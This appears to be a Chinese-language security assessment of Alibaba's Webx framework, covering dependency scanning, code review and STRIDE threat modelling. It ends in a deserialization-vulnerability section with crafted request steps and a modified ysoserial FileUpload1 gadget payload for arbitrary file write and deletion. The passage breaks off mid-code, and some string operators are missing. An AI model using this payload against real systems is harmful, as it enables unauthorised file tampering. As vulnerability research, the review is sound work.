- 前置
- 输入材料
- 安全目标和需求
- 架构分析
- 供应链安全
- 源代码审查
- 依赖结构矩阵(Dependency Structure Matrices,DSM)
- 数据流
- 信任边界
- 数据存贮
- 威胁列表
- otter manager
- dubbo admin
- 修复方案
RoadMap
通过结构化的思维进行以软件程序为中心的威胁建模、枚举威胁、缓解威胁、验证来解决四个问题:具体业务是什么?哪些地方可能出现风险?如何规避解决?是否覆盖完整。 通过前排了解(包括在fofa、zoomeyes、shodan的范围分析、wooyun历史漏洞材料输入),考量以下方面: - 数据流或代码布局; - 访问控制; - 现有的或内置的安全控制; - 非用户输入的入口点; - 与外部服务的集成; - 配置文件和数据源的位置; - 插件和定制化展现(在内置设计框架的情况下)。
输入材料
webx需要的文档清单,主要关注系统的通用安全缺陷 安全设计文档: - 安全功能 - 默认安全设置 - 功能安全设计和实现 - 子系统间的攻击风险点分析或者安全需求考量点 安全编码规范 - 开发涉及安全点的要求 - 代码review、培训涉及安全的记录 安全测试文档: - 功能涉及安全点的过程用例和结果文档 组件安全: - 涉及二进制、开源组件的版本记录,安全补丁维护记录
安全目标和需求
略
架构分析
webx 是Alibaba早期使用的一款建立在 Java Servlet API 基础上的通用 WEB 框架。用 Webx 搭建的应用可以运行在任何一个标准的 WEB 应用服务器上面:Tomcat、Jetty、Jboss、Weblogic。 Webx 是基于经典 MVC设计模式的 WEB 框架 Spring,并且可以被其它组件扩展。Webx 不仅能够用来开发高度可定制的 Web 应用,也能够用来帮助用户开发高度可扩展的非 WEB 的应用。作为一款阿里内部广泛使用的基础中间框架。其在SDLC开发流程阶段占据了一定的地位(参考《钉钉安全白皮书》应用安全章节介绍),虽然它的官网已经不维护,也是先知社区通用软件的A类应用。企业内部框架设置默认值和默认扩展应该是最安全、最常用的选择,同时将会在线上自动去除开发工具、debug和trace组件,保证软件基线安全。
技术方案合久必分、分久必合,统一框架在互联网公司存在推广困难、开发人员技术固化、在微服务的架构下难以高效扩展的缺陷,出现逐步被spring cloud等组件替换或升级的趋势。但是仍需关注底层框架存在风险的场景,框架势必会影响众多增量和存量业务。对待存量业务的历史遗留问题,存在调用链分析技术手段不全、安全监控存在组件不清晰、整改过程存在难度大、范围广、修复指标不清晰的客观困难。安全推进过程中SDL团队没有足够人力物力跟进每一次安全需求和评审;而在开发阶段依赖于经过培训和宣讲后的code review需要具备一定的安全能力;而在日常安全运营介入较多的安全测试阶段,功能安全测试和安全功能的测试需要实施人员具备一定的代码阅读和赋能有效修复方案的能力。商业静态安全工具对于框架类支持有限,在未定制规则匹配模型、未设置防误报原语和自定义有效slink点和污染路径的情况下,扫描效果存在着高误报率、高漏报率的局限性;黑盒扫描对于post请求、参数带有权限验证、迭代扫描业务、日志路由收集不全、poc不灵活的前提下就不能主动发现更多场景的安全风险和漏洞;人工代码review可以显著发现业务安全问题如越权、信息泄露、遍历类问题,其他方面只能大致人工覆盖公司历史的主要安全问题和owasp top10列表;checklist检测适用于数据安全层面和归档信息,各阶段数据难以有效联动形成闭环运营。SDL有必要对组件和框架做一次安全设计和架构方面的评估,以webx为抓手,可以进行一次探索式地安全分析。 web处理架构简单参考下图:
供应链安全
遵循供应链安全检测标准,使用dependency check分析项目的依赖关系,匹配CWE对应NVD查询CVE。发现存在多处安全风险。
使用git alert功能进行分析,结果基本一致
此外经过mvn dependency tree人工审视发现org.codehaus.groovy:groovy-all:2.1.7引用实际存在CVE-2016-6814, CVE-2015-3253风险,利用存在客观难度,考虑到信息安全策略的三要素,遵循接受风险的策略。
源代码审查
对于框架类的使用白盒扫描器,可以用注解的方式打标避免误报和漏报,步骤为: 为 Java 接口方法建模 为资源泄漏建模 为不可信(被污染的)数据源建模 为不能流入被污染数据的方法(数据消费者)建模 添加字段被污染或未被污染的断言 抑制对方法的缺陷报告 生成 Java Web 应用程序安全 模型 结合自定义规则进行排查,发现89项代码风险。
使用lgtm辅助分析: 可以看到有两处xss、一处重定向需要进行验证。
依赖结构矩阵(Dependency Structure Matrices,DSM)
这处的作用是:可以直接快速查看关联关系,方便分析在注解、引用、参数调用时候的情况。
数据流
资产是指对用户有价值,被攻击目标。除了用户数据等直接资产,还包括系统,权限等可以被利用进一步攻击的非直接资产。资产在应用系统不同的位置和访问入口就形成了我们所说的攻击面,对攻击面防护部署不当,或者资产在不被信任的位置被访问,存储和使用都会导致设计缺陷和漏洞,这里主要指数据流。
信任边界
已确定的的信任边界为: - 外围防火墙、waf、应用认证的调用 - 数据库服务器信任来自dmz区的web应用程序的调用 - 前后端的数据传参流转 数据流图: 框架类的实现较为复杂,手工分析画了些图,略 子系统分解: 对系统的了解程度指明了对子系统的剖析程度,略
数据存贮
略
威胁列表
STRIDE威胁建模
依据STRIDE威胁建模方法,采用微软的Web 应用程序安全框架设计威胁列表: 自顶向下逐步分解,按照大模块进行梳理,检查通用场景威胁列表和和原始安全需求,并对识别的威胁进行转移、缓解、消除、接受风险这样的缓解措施,这里不适合使用综合威胁办法,从设计和交付回顾角度未有效增强fuzz能力。
将以上结果纳入威胁漏洞库。
攻击树分析:
通过文档记录检查的方法,检索漏洞信息。利用攻击树体现漏洞、手段、将威胁进行裁剪细化,直达具体的行为、状态。构建合适and的or模型很麻烦,依靠于建模人员的知识广度。
基于Misuse_case的建模方法
略 ##软件baseline 略 #技术考量和漏洞报告 还在使用ctrl f吗?使用ql查询语言分析序列化的点吧:
编写单元测试,通过flow进行跟进
##反序列化风险 参阅技术文档《webx3_guide_book》的章节9.4.3.3. Field API,
利用: 在com.alibaba.citrus.service.form.impl.FieldImpl存在反序列化功能。
由于encode方法是对对象序列化后进行zip压缩、base64编码、url编码,所以需要改造 可以通过两种方式调用反序列化接口。 以官方的turorial1为例,新增显式保存附件的功能,设置setAttachment对象,待反序列化时调用
为了验证效果我们开启组件过滤功能,form.xml设置
webx.xml设置只容许上传jpg文件。
通过抓包http请求,分析流量和参数,我们可以通过构造.attach请求实现反序列化效果。 考虑到框架自动解析filedImpl,对于没有这种写法的网页,也是存在反序列化漏洞。还是以demo的注册页面为例,构造请求进行url一次编码,依旧生效:
POC: 考虑到webx已经使用了commons-fileupload:1.3.1(还记得dependency check的结果吗?其实Apache Commons Fileupload Dos漏洞也是存在的),可以直接调用反序列化工具ysoserial,改造poc: 在ysoserial的pom.xml增加citrus的引用 改造FileUpload1.java为:
代码语言:javascript复制package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import org.apache.commons.fileupload.disk.DiskFileItem;import org.apache.commons.io.output.DeferredFileOutputStream;import org.apache.commons.io.output.ThresholdingOutputStream;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.File;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.util.Arrays;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import com.alibaba.citrus.util.StringEscapeUtil;import com.alibaba.citrus.util.io.ByteArray;import com.alibaba.citrus.util.io.ByteArrayOutputStream;/**
* Gadget chain:
* DiskFileItem.readObject()
* <p>
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
* <p>
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 ( old JRE): write data to an arbitrary file
* - 1.3.1 : write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/@Dependencies({ "commons-fileupload:commons-fileupload:1.3.1", "commons-io:commons-io:2.4"})@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")@Authors({Authors.MBECHLER})public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> { public DiskFileItem getObject(String command) throws Exception { String[] parts = command.split(";"); if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) { return write(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) { return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) { return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { return writePre131(parts[1], Base64.decodeBase64(parts[2]));
} else { throw new IllegalArgumentException("Unsupported command " command " " Arrays.toString(parts));
}
} public void release(DiskFileItem obj) throws Exception { // otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
} private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]);
} // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { return makePayload(data.length 1, dir, dir "/whatever", data);
} // writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception { return makePayload(data.length 1, file "